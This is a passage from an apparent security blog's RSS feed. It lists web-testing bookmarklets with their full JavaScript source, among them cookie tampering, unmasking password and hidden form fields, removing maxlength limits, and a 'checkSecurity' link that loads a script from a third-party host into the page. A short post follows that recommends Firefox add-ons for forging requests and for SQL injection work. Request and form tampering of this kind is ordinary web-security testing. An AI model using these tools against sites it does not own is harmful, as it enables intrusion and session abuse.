(\&quot; on line \&quot; + er.lineNumber + \&quot;: \&quot;) : \&quot;: \&quot;;\n    println(er.name + lineNumberString + er.message, \&quot;error\&quot;); // Because IE doesn't have error.toString.\n  }\n  else\n    println(er, \&quot;error\&quot;); // Because security errors in Moz /only/ have toString.\n}\n\nfunction go(s)\n{\n  _in.value = question = s ? s : _in.value;\n\n  if (question == \&quot;\&quot;)\n    return;\n\n  histList[histList.length-1] = question;\n  histList[histList.length] = \&quot;\&quot;;\n  histPos = histList.length - 1;\n  \n  // Unfortunately, this has to happen *before* the JavaScript is run, so that \n  // print() output will go in the right place.\n  _in.value='';\n  recalculateInputHeight();\n  printQuestion(question);\n\n  if (_win.closed) {\n    printError(\&quot;Target window has been closed.\&quot;);\n    return;\n  }\n  \n  try { (\&quot;Shell\&quot; in _win) }\n  catch(er) {\n    printError(\&quot;The JavaScript Shell cannot access variables in the target window.  The most likely reason is that the target window now has a different page loaded and that page has a different hostname than the original page.\&quot;);\n    return;\n  }\n\n  if (!(\&quot;Shell\&quot; in _win))\n    initTarget(); // silent\n\n  // Evaluate Shell.question using _win's eval (this is why eval isn't in the |with|, IIRC).\n  _win.location.href = \&quot;javascript:try{ Shell.printAnswer(eval('with(Shell._scope) with(Shell.shellCommands) {' + Shell.question + String.fromCharCode(10) + '}')); } catch(er) { Shell.printError(er); }; setTimeout(Shell.refocus, 0); void 0\&quot;;\n}\n\n&lt;/script&gt;\n\n&lt;!-- for http://ted.mielczarek.org/code/mozilla/extensiondev/ --&gt;\n&lt;script type=\&quot;text/javascript\&quot; src=\&quot;chrome://extensiondev/content/rdfhistory.js\&quot;&gt;&lt;/script&gt;\n&lt;script type=\&quot;text/javascript\&quot; src=\&quot;chrome://extensiondev/content/chromeShellExtras.js\&quot;&gt;&lt;/script&gt;\n\n&lt;style type=\&quot;text/css\&quot;&gt;\nbody { background: white; color: black; }\n\n#output { white-space: pre; white-space: -moz-pre-wrap; } /* Preserve line breaks, but wrap too if browser supports it */\nh3 { margin-top: 0; margin-bottom: 0em; }\nh3 + div { margin: 0; }\n\nform { margin: 0; padding: 0; }\n#input { width: 100%25; border: none; padding: 0; overflow: auto; }\n\n.input { color: blue; background: white; font: inherit; font-weight: bold; margin-top: .5em; /* background: #E6E6FF; */ }\n.normalOutput { color: black; background: white; }\n.print { color: brown; background: white; }\n.error { color: red; background: white; }\n.propList { color: green; background: white; }\n.message { color: green; background: white; }\n.tabcomplete { color: purple; background: white; }\n&lt;/style&gt;\n&lt;/head&gt;\n\n&lt;body onload=\&quot;init()\&quot;&gt;\n\n&lt;div id=\&quot;output\&quot;&gt;&lt;h3&gt;JavaScript Shell 1.4&lt;/h3&gt;&lt;div&gt;Features: autocompletion of property names with Tab, multiline input with Shift+Enter, input history with (Ctrl+) Up/Down, &lt;a accesskey=\&quot;M\&quot; href=\&quot;javascript:go('scope(Math); mathHelp();');\&quot; title=\&quot;Accesskey: M\&quot;&gt;Math&lt;/a&gt;, &lt;a accesskey=\&quot;H\&quot; href=\&quot;http://www.squarefree.com/shell/?ignoreReferrerFrom=shell1.4\&quot;  title=\&quot;Accesskey: H\&quot;&gt;help&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Values and functions: ans, print(string), &lt;a accesskey=\&quot;P\&quot; href=\&quot;javascript:go('props(ans)')\&quot; title=\&quot;Accesskey: P\&quot;&gt;props(object)&lt;/a&gt;, &lt;a accesskey=\&quot;B\&quot; href=\&quot;javascript:go('blink(ans)')\&quot; title=\&quot;Accesskey: B\&quot;&gt;blink(node)&lt;/a&gt;, &lt;a accesskey=\&quot;C\&quot; href=\&quot;javascript:go('clear()')\&quot; title=\&quot;Accesskey: C\&quot;&gt;clear()&lt;/a&gt;, load(scriptURL), scope(object)&lt;/div&gt;&lt;/div&gt;\n\n&lt;div&gt;&lt;textarea id=\&quot;input\&quot; class=\&quot;input\&quot; wrap=\&quot;off\&quot; onkeydown=\&quot;inputKeydown(event)\&quot; rows=\&quot;1\&quot;&gt;&lt;/textarea&gt;&lt;/div&gt;\n\n&lt;/body&gt;\n\n&lt;/html&gt;&quot;);document.close();}void 0">jsShell</a> &#8211; probably one of the most appreciated bookmarklets out there. Upon execution it pops up a window in which you can execute javascript code. Among it&#8217;s great features is the props() function which displays the methods/properties of a desired element, object, string, etc.</p>
<p><a href="javascript:try{eval(unescape(prompt(&quot;enter&nbsp;a&nbsp;javascript&nbsp;statement&quot;,&quot;&quot;)))}catch(er){alert(er)};">jsEval</a> &#8211; a quick and slick way to run small pieces of javascript code.</p>
<p><a href="javascript:with(window.open(&quot;&quot;,&quot;_blank&quot;,&quot;width=&quot;+screen.width*.6+&quot;,left=&quot;+screen.width*.35+&quot;,height=&quot;+screen.height*.9+&quot;,resizable,scrollbars=yes&quot;)){document.write(&quot;&lt;head&gt;&lt;title&gt;JavaScript Development Environment 2.0.1&lt;/title&gt;&lt;!-- about:blank confuses opera.. --&gt;&lt;/head&gt;&lt;frameset rows=\&quot;25,*,*\&quot;&gt;\n\n  &lt;frame name=\&quot;toolbarFrame\&quot; src=\&quot;about:blank\&quot; noresize=\&quot;noresize\&quot;&gt;\n\n  &lt;frame name=\&quot;inputFrame\&quot; src=\&quot;about:blank\&quot;&gt;\n\n  &lt;frame name=\&quot;outputFrame\&quot; src=\&quot;about:blank\&quot;&gt;\n\n&lt;/frameset&gt;\n\n&quot;);document.close(); frames[0].document.write(&quot;&lt;head&gt;&lt;!-- no doctype - it makes IE ignore the height: 100%25. --&gt;&lt;title&gt;toolbarFrame&lt;/title&gt;\n\n\n\n&lt;style type=\&quot;text/css\&quot;&gt;\nhtml,body { width: 100%25; height: 100%25; border: none; margin: 0px; padding: 0px; }\nbutton { height: 100%25; }\n&lt;/style&gt;\n\n&lt;script type=\&quot;text/javascript\&quot;&gt;\n\nvar outputFrame = parent.outputFrame;\nvar inputFrame = parent.inputFrame;\nvar framesetElement = parent.document.documentElement.getElementsByTagName(\&quot;frameset\&quot;)[0];\n\nvar savedRows;\n\n\n// Need to use C-style comments in handleError() and print() \n// because IE retains them when decompiling a function.\n\n\n\nfunction print(s, c) {\n  var outputFrame = parent.outputFrame; /* duplicated here in case this function is elsewhere */\n  var doc = outputFrame.document;\n\n  var newdiv = doc.createElement(\&quot;div\&quot;);\n  newdiv.appendChild(doc.createTextNode(s));\n  if (c)\n    newdiv.style.color = c;\n  doc.body.appendChild(newdiv);\n}\n\nfunction handleError(er, file, lineNumber) \n{\n  print(\&quot;Error on line \&quot; + lineNumber + \&quot;: \&quot; + er, \&quot;red\&quot;); \n    \n  /* Find the character offset for the line */\n  /* (code adapted from blogidate xml well-formedness bookmarklet) */\n  var ta = inputFrame.document.getElementById(\&quot;input\&quot;);\n  var lines = ta.value.split(\&quot;\\n\&quot;);\n  var cc = 0; \n  var i;\n  for(i=0; i &lt; (lineNumber - 1); ++i) \n    cc += lines[i].length + 1;\n\n  /* Hacky(?) workaround for IE's habit of including \\r's in strings */\n  if (ta.value.split(\&quot;\\r\&quot;).length &gt; 1)\n    cc -= lineNumber - 1;\n\n  /* Select the line */\n  if(document.selection) { \n    /* IE (Leonard Lin gave me this code) */\n    var sel = ta.createTextRange(); \n    sel.moveStart(\&quot;character\&quot;, cc); \n    sel.collapse(); \n    sel.moveEnd(\&quot;character\&quot;, lines[i].length); \n    sel.select();\n  } else { \n    /* Mozilla */\n    ta.selectionStart = cc; \n    ta.selectionEnd = cc + lines[i].length; \n  }\n \n  /* return true; */ /* nah, let the error go through to IE's js consolish thing! */\n}\n\n\n\n\n\nfunction showHideOutput()\n{\n  if (outputFrame.document.body.clientHeight &gt; 100) {\n    // hide\n    savedRows = framesetElement.rows;    \n    framesetElement.rows = \&quot;25,*,0\&quot;;\n  }\n  else {\n    // show. use the previous size, if possible\n    if (savedRows) {\n      framesetElement.rows = savedRows;\n      savedRows = null;\n    }\n    else {\n      framesetElement.rows = \&quot;25,*,*\&quot;;\n    }\n  }\n}\n\nfunction refocus()\n{\n  inputFrame.document.getElementById(\&quot;input\&quot;).focus();\n}\n\n\nfunction clearOutput()\n{\n  var b = outputFrame.document.body;\n  while(b.firstChild)\n    b.removeChild(b.firstChild);\n}\n\nfunction stripLineBreaks(s)\n{\n  return s.replace(/\\n/g, \&quot;\&quot;).replace(/\\r/g, \&quot;\&quot;); // stripping \\r is for IE\n}\n\nfunction execute()\n{\n  var js = inputFrame.document.getElementById(\&quot;input\&quot;).value;\n\n  var useOpener = parent.opener &amp;&amp; !parent.opener.closed;\n  var oldStyle = !! document.all; // lame but meh.\n  \n  print(\&quot;Running\&quot; + (useOpener ? \&quot; in bookmarklet mode\&quot; : \&quot;\&quot;) + (oldStyle ? \&quot; in make-IE-happy mode\&quot; : \&quot;\&quot;) + \&quot;...\&quot;, \&quot;orange\&quot;);\n\n  if (useOpener)\n    executeWithJSURL(js, parent.opener); // only way to execute against another frame\n  else if (oldStyle)\n    executeWithDW(js, execFrame); // only way to get line numbers in IE\n  else\n    executeWithJSURL(js, execFrame); // faster in Mozilla  \n}\n\n// Advantages: can get line numbers in IE.\nfunction executeWithDW(js, win)\n{\n  win.document.open();\n  win.inputFrame = inputFrame;\n  win.outputFrame = outputFrame;\n  win.document.write(\n    stripLineBreaks(\n        '&lt;!DOCTYPE HTML PUBLIC \&quot;-//W3C//DTD HTML 4.01//EN\&quot; \&quot;http://www.w3.org/TR/html4/strict.dtd\&quot;&gt;' +\n        '&lt;html&gt;&lt;head&gt;&lt;title&gt;execFrame&lt;\\/title&gt;&lt;script type=\&quot;text/javascript\&quot;&gt;'\n      + print         // yay for decompilation!\n      + handleError \n      + \&quot;window.onerror = handleError;\&quot;\n      + \&quot;&lt;\\/script&gt;&lt;\\/head&gt;\&quot;\n      ) \n    + '&lt;body&gt;&lt;script type=\&quot;text/javascript\&quot;&gt;'\n    + js         // should escape it a little to remove the string &lt;\\/script&gt; at least...\n    + \&quot;&lt;\\/script&gt;&lt;\\/body&gt;&lt;\\/html&gt;\&quot;\n    );\n  win.document.close();\n}\n\n// Advantages: can be used to inject a script into another window, faster in Mozilla.\nfunction executeWithJSURL(js, win)\n{\n  // isolate scope\n  js = \&quot;(function(){ \&quot; + js + \&quot; \\n })()\&quot;;\n\n  win.print = print;\n  win.onerror = handleError;\n\n  // double encodeURIComponent because javascript: URLs themselves are encoded!\n  win.location.href = 'javascript:eval(decodeURIComponent(\&quot;' + encodeURIComponent(encodeURIComponent(js)) + '\&quot;)); void 0;';\n  \n  refocus();\n}\n\n// Other ideas I haven't tried lately: create a &lt;script&gt; element, eval.\n\n\nfunction makeUserScript(userScriptLink)\n{\n    userScriptLink.href = \n        \&quot;data:text/javascript;charset=utf-8,\&quot; + \n        encodeURIComponent(inputFrame.document.getElementById(\&quot;input\&quot;).value + \&quot;//.user.js\&quot;);\n}\n\n&lt;/script&gt;&lt;/head&gt;&lt;body&gt;\n\n&lt;button accesskey=\&quot;E\&quot; onclick=\&quot;execute(); refocus();\&quot;&gt;&lt;u&gt;E&lt;/u&gt;xecute&lt;/button&gt;\n&lt;!-- &lt;button accesskey=\&quot;R\&quot; onclick=\&quot;reloadAndExecute(); refocus();\&quot;&gt;&lt;u&gt;R&lt;/u&gt;eload and execute&lt;/button&gt; --&gt;\n&lt;button accesskey=\&quot;C\&quot; onclick=\&quot;clearOutput(); refocus();\&quot;&gt;&lt;u&gt;C&lt;/u&gt;lear output&lt;/button&gt;\n&lt;button accesskey=\&quot;S\&quot; onclick=\&quot;showHideOutput(); refocus();\&quot;&gt;&lt;u&gt;S&lt;/u&gt;how/hide output&lt;/button&gt;\n&lt;!-- &lt;button accesskey=\&quot;H\&quot; onclick=\&quot;help(); refocus();\&quot;&gt;&lt;u&gt;H&lt;/u&gt;elp&lt;/button&gt; --&gt;\n\n&lt;a href=\&quot;data:text/html,...\&quot; onfocus=\&quot;makeUserScript(this);\&quot; onmouseover=\&quot;makeUserScript(this);\&quot; target=\&quot;_blank\&quot;&gt;Install as user script&lt;/a&gt;\n\n&lt;div style=\&quot;visibility: hidden;\&quot;&gt;\n&lt;iframe name=\&quot;execFrame\&quot; src=\&quot;about:blank\&quot; height=\&quot;5\&quot; width=\&quot;5\&quot;&gt;&lt;/iframe&gt;\n&lt;/div&gt;\n\n&lt;/body&gt;&quot;); frames[0].document.close(); frames[1].document.write(&quot;&lt;head&gt;&lt;!-- no doctype - it makes IE ignore the height: 100%25. --&gt;&lt;title&gt;inputFrame&lt;/title&gt;\n\n\n\n\n\n&lt;style type=\&quot;text/css\&quot;&gt;\n\nhtml,body,form,textarea { width: 100%25; height: 100%25; border: none; margin: 0px; padding: 0px; }\nhtml,body { overflow: hidden; }\n\n&lt;/style&gt;&lt;/head&gt;&lt;body onload=\&quot;document.getElementById('input').select();\&quot;&gt;\n&lt;textarea style=\&quot;background-color: rgb(221, 238, 255);\&quot; id=\&quot;input\&quot;&gt;// ==UserScript==\n// @namespace     http://www.squarefree.com/jsenv/autogenerated\n// @name          Unnamed script\n// @description   Undescribed script\n// ==/UserScript==\n\nprint(\&quot;Squares of numbers 0 through 4:\&quot;);\nfor (var i = 0; i &amp;lt; 5; ++i)\n  print(i * i);\n\nthis.statement.causes(an.error);\n&lt;/textarea&gt;\n&lt;/body&gt;&quot;); frames[1].document.close();   }void 0">jsEnv</a> &#8211; useful Bookmarklet/UserScript development environmnent. For running other small scripts, I&#8217;d still recommend the jsShell.</p>
<p><a href="javascript:void(document.cookie=prompt(&quot;modify cookie&quot;, document.cookie))">modCookie</a> &#8211; easy and fast cookie tampering.</p>
<p><a href="javascript:function mRd(){return(Math.round(Math.random()*1000));}function V(f){if(!f.length)return f.value;else{var rd=mRd(),O='&lt;input type=\'checkbox\' onclick=\'T(this,'+rd+')\'&gt;Show Values ['+f.length+']&lt;br&gt;&lt;div id=\''+rd+'\' style=\'display:none;\'&gt;\n&lt;table border=\'0\' cellpadding=\'0\' cellspacing=\'2\'&gt;&lt;form&gt;';for(var x=0;x&lt;f.length;x++){var b1=(f[x].selected||f[x].checked)?' bgcolor=\'yellow\'':'';var b2='&lt;/td&gt;';O+='\n&lt;tr'+b1+'&gt;\n\t&lt;td class=\'red\'&gt;'+f[x].value+b2+'\n\t&lt;td class=\'blue\'&gt;'+((f[x].text)?f[x].text:'')+b2+'&lt;/tr&gt;';}O+='&lt;/form&gt;&lt;/table&gt;&lt;/div&gt;';}return O;}function P(f,y){var rd=mRd(),ch='',a='&lt;br&gt;\n&lt;table style=\'background:#cccccc;margin-bottom:-16px;\' border=\'1\' cellspacing=\'0\' cellpadding=\'2\'&gt;\n&lt;tr&gt;&lt;td&gt;&lt;b&gt;name:&lt;/b&gt; ['+f.name+']&amp;nbsp; &amp;nbsp;&lt;b&gt;id:&lt;/b&gt; ['+f.id+']&amp;nbsp;&lt;b&gt;method: &lt;/b&gt;[&lt;a href=\'javascript:tM(opener.document.forms['+y+'],'+rd+')\' id=\''+rd+'\' title=\'Toggle Method\'&gt;'+f.method+'&lt;/a&gt;]&lt;br /&gt;&lt;b&gt;action:&lt;/b&gt;&amp;nbsp;'+f.action+'&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;\n&lt;table border=\'1\' cellspacing=\'0\' cellpadding=\'2\'&gt;\n&lt;tr class=\'b\'&gt;&lt;td width=\'20\'&gt;&lt;/td&gt;\n\t&lt;td width=\'75\'&gt;type&lt;/td&gt;\n\t&lt;td&gt;name&lt;/td&gt;\n\t&lt;td&gt;id&lt;/td&gt;\n\t&lt;td&gt;value&lt;/td&gt;&lt;/tr&gt;';for(var x=0;x&lt;f.length;x++){var el=f[f[x].name];if(ch.indexOf(f[x].name)&lt;0&amp;&amp;f[x].tagName!='FIELDSET'){a+='\n&lt;tr&gt;&lt;td valign=\'top\'&gt;&lt;b&gt;'+x+'&lt;/b&gt;&lt;/td&gt;\n\t&lt;td valign=\'top\'&gt;'+f[x].type+'&lt;/td&gt;\n\t&lt;td valign=\'top\' class=\'red\'&gt;'+f[x].name+'&lt;/td&gt;\n\t&lt;td valign=\'top\' class=\'green\'&gt;'+f[x].id+'&amp;nbsp;&lt;/td&gt;\n\t&lt;td class=\'blue\' ondblclick=\'tPre(this)\' title=\'Doubleclick to toggle wrapping\'&gt;'+V(el)+'&lt;/td&gt;&lt;/tr&gt;';ch+=el.name;}}a+='&lt;/table&gt;';return a;}function R(d){var b='\n&lt;scr'+'ipt&gt;\nfunction T(ch,dv){document.getElementById(dv).style.display=(ch.checked)?\'block\':\'none\';}\nfunction tM(f,id){f.method=(f.method==\'post\')?\'get\':\'post\';document.getElementById(id).innerHTML=f.method;}\nfunction tPre(o){o.className=(o.className==\'bluePre\')?\'blue\':\'bluePre\';}\n&lt;/scr'+'ipt&gt;\n&lt;sty'+'le type=\'text/css\'&gt;\n*{font:10px Verdana;}\nb,.b td{font-weight:bold;}\n.red{color:red;}\n.blue{color:blue;white-space:normal;}.bluePre{color:blue;background-color:#FFFFCC;white-space:pre;font-family:Monaco,\'Courier New\';}\n.green{color:green;}\n.big{font-size:12px;font-weight:bold;}\n&lt;/style&gt;\n';var foL=d.forms.length;if(foL&gt;0){for(var y=0;y&lt;foL;y++)b+='&lt;br&gt;&lt;span class=\'big\'&gt;Form '+y+':&lt;/span&gt; &lt;a href=\'javascript:opener.document.forms['+y+'].submit();\'&gt;submit&lt;/a&gt;'+P(d.forms[y],y)+'&lt;br&gt;';}else b+='&lt;br&gt;No Forms';return b;}var c='&lt;body&gt;&lt;div class=\'big\'&gt;Forms Information for: '+window.location+'&lt;div/&gt;';var frL=window.frames.length;c+=R(document);for(z=0;z&lt;frL;z++){var frEr=false,fz;try{fz=frames[z].location.href;}catch(er){frEr=true}c+='&lt;div class=\'big\'&gt;&lt;b&gt;Frame '+z+'&lt;/b&gt;: ';if(frEr)c+='Remote frame, access denied';else c+=frames[z].name+'&lt;br&gt;&lt;b&gt;url:&lt;/b&gt; '+frames[z].location.toString()+'&lt;/div&gt;'+R(window.frames[z].document)+'&lt;hr&gt;'}w=window.open('','Forms','scrollbars,resizable,width=700,height=800,top=0,left=0');w.document.write(c+'&lt;/body&gt;');">formInfo</a> &#8211; get the information about all the forms (and it&#8217;s fields) in the active page. Has the ability to swap between form methods, and to submit them from the generated page.</p>
<p><a href="javascript:var r='';var df=document.forms;for (i=0;i&lt;df.length;++i) {var callform='';df[i].name?callform=df[i].name:callform=df[i].id;r+='&lt;br&gt;&lt;b&gt;Form: '+callform+' ['+df[i].method+'] '+df[i].action+'&lt;/b&gt;&lt;br&gt;';r+='&lt;table border=1 style=\'font:x-small verdana\'&gt;&lt;tr&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Type&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;';for(j=0;j&lt;df[i].elements.length;++j) {r+='&lt;tr valign=top&gt;';r+='&lt;td&gt;'+df[i].elements[j].name+'&lt;/td&gt;%C2%A0%C2%A0';r+='&lt;td&gt;'+df[i].elements[j].type+'%C2%A0%C2%A0&lt;/td&gt;';r+='&lt;td&gt;'+df[i].elements[j].value+'%C2%A0%C2%A0&lt;/td&gt;';r+='&lt;/tr&gt;';}r+='&lt;/table&gt;';}r='&lt;h2&gt;Report for: '+document.location.href+'&lt;/h2&gt;&lt;br&gt;&lt;br&gt;'+r;var w=window.open('', 'w', '');w.document.open();w.document.write(r);w.document.close();">formReport</a> &#8211; same as formInfo, just less colorfull :). And without the swap and submit features.</p>
<p><a href="javascript:(function(){var i,f,j,e,div,label,ne;for(i=0;f=document.forms[i];++i)for(j=0;e=f[j];++j)if(e.type==%22password%22){D=document; function C(t){return D.createElement(t);} function A(a,b){a.appendChild(b);} div=C(%22div%22); label=C(%22label%22); A(div, label); A(label, D.createTextNode(%22 %22)); e.parentNode.insertBefore(div, e); e.parentNode.removeChild(e); ne=C(%22input%22);/*for ie*/ ne.type=%22text%22; ne.value=e.value; ne.name=e.name;ne.id=e.id;A(label, ne); label.style.MozOpacity=%22.6%22; --j;/*for moz*/}})()">formPassword2Text</a> &#8211; convert all password input fields to text ones.</p>
<p><a href="javascript:(function(){var i,f,j,e,div,label,ne; for(i=0;f=document.forms[i];++i)for(j=0;e=f[j];++j)if(e.type==%22hidden%22){ D=document; function C(t){return D.createElement(t);} function A(a,b){a.appendChild(b);} div=C(%22div%22); label=C(%22label%22); A(div, label); A(label, D.createTextNode(e.name + %22: %22)); e.parentNode.insertBefore(div, e); e.parentNode.removeChild(e); ne=C(%22input%22);/*for ie*/ ne.type=%22text%22; ne.value=e.value; ne.name=e.name;ne.id=e.id;A(label, ne); label.style.MozOpacity=%22.6%22; --j;/*for moz*/}})()">formHidden2Text</a> &#8211; converts input with type hidden to text.</p>
<p><a href="javascript:for (i=0;i&lt;document.forms.length;++i) {for(j=0;j&lt;document.forms[i].elements.length;++j){document.forms[i].elements[j].removeAttribute(%22maxLength%22);}}">formNoMax</a> &#8211; remove max length restriction.</p>
<p><a href="javascript:location=&quot;http://www.google.com/search?num=100&amp;q=site:&quot; + escape(location.hostname) + &quot; &quot; + prompt(&quot;key words&quot;,&quot;&quot;); void 0">searchOnGoogle</a> &#8211; search website via google</p>
<p><a href="javascript:( function(){ for (i=0; i &lt; document.links.length; i++) { if (document.links[i].href.match(/http:\/\/.*http(:|%253A)(\/|%252F)(\/|%252F)/i)){ alert(document.links[i]); } } })();">findRedirects</a> &#8211; find redirects in links</p>
<p><a href="javascript:eMlA='';for(iB2M=0;iB2M&lt;document.links.length;iB2M++){if(document.links[iB2M].protocol=='mailto:'){Ju59=document.links[iB2M].toString();eMlA+=Ju59.substring(7,Ju59.length)+'\n'}};if(eMlA!=''){alert(eMlA)}else{alert('No mailto links on page!')}">findEmailLinks</a> &#8211; find email links in page.</p>
<p><a href="javascript:(function(){var x,n,nD,z,i; function htmlEscape(s){s=s.replace(/&amp;/g,'&amp;amp;');s=s.replace(/&gt;/g,'&amp;gt;');s=s.replace(/&lt;/g,'&amp;lt;');return s;} function attrQuoteEscape(s){s=s.replace(/&amp;/g,'&amp;amp;'); s=s.replace(/&quot;/g, '&amp;quot;');return s;} x=prompt(&quot;show links with this word/phrase in link text or target url (leave blank to list all links):&quot;, &quot;&quot;); n=0; if(x!=null) { x=x.toLowerCase(); nD = window.open().document; nD.writeln('&lt;html&gt;&lt;head&gt;&lt;title&gt;Links containing &quot;'+htmlEscape(x)+'&quot;&lt;/title&gt;&lt;base target=&quot;_blank&quot;&gt;&lt;/head&gt;&lt;body&gt;'); nD.writeln('Links on &lt;a href=&quot;'+attrQuoteEscape(location.href)+'&quot;&gt;'+htmlEscape(location.href)+'&lt;/a&gt;&lt;br&gt; with link text or target url containing &amp;quot;' + htmlEscape(x) + '&amp;quot;&lt;br&gt;&lt;hr&gt;'); z = document.links; for (i = 0; i &lt; z.length; ++i) { if ((z[i].innerHTML &amp;&amp; z[i].innerHTML.toLowerCase().indexOf(x) != -1) || z[i].href.toLowerCase().indexOf(x) != -1 ) { nD.writeln(++n + '. &lt;a href=&quot;' + attrQuoteEscape(z[i].href) + '&quot;&gt;' + (z[i].innerHTML || htmlEscape(z[i].href)) + '&lt;/a&gt;&lt;br&gt;'); } } nD.writeln('&lt;hr&gt;&lt;/body&gt;&lt;/html&gt;'); nD.close(); } })();">findLinks</a> &#8211; scraps all the links in the page.</p>
<p><a href="javascript:document.location = 'http://ha.ckers.org/weird/ipsearch.cgi?' + document.domain">searchIP</a> &#8211; searches more domains on the same IP address.</p>
<p><a href="javascript:document.body.innerHTML='&lt;noscript&gt;pls turn on js for this domain&lt;/noscript&gt;&lt;script src=http://ha.ckers.org/securitytest.js&gt;&lt;/script&gt;';">checkSecurity</a> &#8211; check the crossdomain.xml and robots.txt files.</p>
<p><a href="javascript:s=document.getElementsByTagName('SCRIPT'); d=window.open().document; /*140681*/d.open();d.close(); b=d.body; function trim(s){return s.replace(/^\s*\n/, '').replace(/\s*$/, ''); }; function add(h){b.appendChild(h);} function makeTag(t){return d.createElement(t);} function makeText(tag,text){t=makeTag(tag);t.appendChild(d.createTextNode(text)); return t;} add(makeText('style', 'iframe{width:100%;height:18em;border:1px solid;')); add(makeText('h3', d.title='Scripts in ' + location.href)); for(i=0; i&lt;s.length; ++i) { if (s[i].src) { add(makeText('h4','script src=&quot;' + s[i].src + '&quot;')); iframe=makeTag('iframe'); iframe.src=s[i].src; add(iframe); } else { add(makeText('h4','Inline script')); add(makeText('pre', trim(s[i].innerHTML))); } } void 0">viewScripts</a> &#8211; view the currently included scripts.</p>
<p><a href="javascript:s=document.getElementsByTagName('STYLE'); ex=document.getElementsByTagName('LINK'); d=window.open().document; /*set base href*/d.open();d.close(); b=d.body; function trim(s){return s.replace(/^\s*\n/, '').replace(/\s*$/, ''); }; function iff(a,b,c){return b?a+b+c:'';}function add(h){b.appendChild(h);} function makeTag(t){return d.createElement(t);} function makeText(tag,text){t=makeTag(tag);t.appendChild(d.createTextNode(text)); return t;} add(makeText('style', 'iframe{width:100%;height:18em;border:1px solid;')); add(makeText('h3', d.title='Style sheets in ' + location.href)); for(i=0; i&lt;s.length; ++i) { add(makeText('h4','Inline style sheet'  + iff(' title=&quot;',s[i].title,'&quot;'))); add(makeText('pre', trim(s[i].innerHTML))); } for (i=0; i&lt;ex.length; ++i) { rs=ex[i].rel.split(' '); for(j=0;j&lt;rs.length;++j) if (rs[j].toLowerCase()=='stylesheet') { add(makeText('h4','link rel=&quot;' + ex[i].rel + '&quot; href=&quot;' + ex[i].href + '&quot;' + iff(' title=&quot;',ex[i].title,'&quot;'))); iframe=makeTag('iframe'); iframe.src=ex[i].href; add(iframe); break; } } void 0">viewCSS</a> &#8211; view currently included style sheets.</p>
<p>For these and more bookmarklets check them out on&#8230; <a href="http://www.google.com/search?q=bookmarklets" target="_blank">Google -> Bookmarklets</a>&#8230; Note: some may not work in other browsers than Firefox, like the jsShell for example&#8230;</p></p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/bookmarklets/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Intercepting Proxies?</title>
		<link>http://insanesecurity.info/blog/intercepting-proxies</link>
		<comments>http://insanesecurity.info/blog/intercepting-proxies#comments</comments>
		<pubDate>Wed, 24 Jun 2009 06:12:53 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/intercepting-proxies</guid>
		<description><![CDATA[People tend to overdo things&#8230; And somewhere (not sure were) I&#8217;ve read an article (or better call it tutorial) where for simple modifications of parameter/header values the author suggested an intercepting proxy like: WebScarab, BurpProxy, ParosProxy, ProxyStrike, etc. Yes they&#8217;re up to the job, but aren&#8217;t there some simpler solutions? Yes there are, and those [...]]]></description>
			<content:encoded><![CDATA[<p>People tend to overdo things&#8230; And somewhere (not sure were) I&#8217;ve read an article (or better call it tutorial) where for simple modifications of parameter/header values the author suggested an intercepting proxy like: WebScarab, BurpProxy, ParosProxy, ProxyStrike, etc. Yes they&#8217;re up to the job, but aren&#8217;t there some simpler solutions? Yes there are, and those solutions will be presented in the following lines&#8230;</p>
<p><span id="more-43"></span><br />
And if you weren&#8217;t sure till know, I assure you I&#8217;m going to speak about Firefox Addons.</p>
<h2>LiveHTTPHeaders</h2>
<p>Useful addon for both developers and hackers. It let&#8217;s you analyze the HTTP requests and responses done at/from a specified point. It also allows you to modify the requests as you want, from parameters to HTTP headers, anything is possible.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>For those that use intercepting proxies in passive mode, for grabbing links while browsing, which later will be passed to some web application scanner (or something like that), guess what: <em>liveHTTPHeaders</em> supports that also.</p>
<p>Download: <a href="https://addons.mozilla.org/en-US/firefox/addon/3829" target="_blank">liveHTTPHeaders</a></p>
<h2>Tamper Data</h2>
<p>On several occasions you may want to modify/forge requests in the first submission of a page/form. For that reason <em>Tamper Data</em> is another addon that shouldn&#8217;t miss from your toolbox. The functionality I mentioned is just the tip of the iceberg regarding <em>Tamper Data</em>.</p>
<p>Screenshots and download: <a href="https://addons.mozilla.org/en-US/firefox/addon/966" target="_blank">Tamper Data</a></p>
<h2>HackBar</h2>
<p>But what if you don&#8217;t need to modify headers, just the content or parameters? Should use <em>Tamper Data</em> just for that?<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>The answer is obviously NO! Just press F9 (<em>HackBar</em> shortcut key) and you&#8217;re ready to tamper/forge requests as you wish. It&#8217;s a great addon not just because it eases work with long URLs, but also has the ability to send POST requests for you, thus relieving you from having another window/tab for executing forged POST requests. Did I also mentioned how helpful it can be when working with SQL Injections? No?! I wonder how could I omit that?&#8230;</p>
<p>Screenshots and download: <a href="https://addons.mozilla.org/en-US/firefox/addon/3899" target="_blank">HackBar</a></p>
<h2>Final notes</h2>
<p>In the end it&#8217;s up to you to decide how you&#8217;ll do from this point onward. Either work with the suggested plugins, or continue your ritual with intercepting proxies. There is no good/bad way of doing it, it&#8217;s just a matter of taste. Some people (including myself) like to do as much possible from the browser before firing up another application&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/intercepting-proxies/feed</wfw:commentRss>
